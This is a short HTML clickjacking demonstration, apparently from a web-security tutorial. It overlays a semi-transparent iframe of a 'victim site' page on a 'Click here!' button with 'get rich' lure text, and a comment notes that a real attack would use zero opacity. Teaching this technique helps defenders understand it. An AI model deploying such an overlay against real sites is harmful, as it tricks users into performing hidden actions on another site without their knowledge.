<style>
iframe { /* iframe from the victim site */
  width: 400px;
  height: 100px;
  position: absolute;
  top:0; left:-20px;
  opacity: 0.5; /* in real opacity:0 */
  z-index: 1;
}
</style>

<div>Click to get rich now:</div>

<!-- The url from the victim site -->
<iframe src="https://javascript.info/clickjacking/facebook.html"></iframe>

<button>Click here!</button>

<div>...And you're cool (I'm a cool hacker actually)!</div>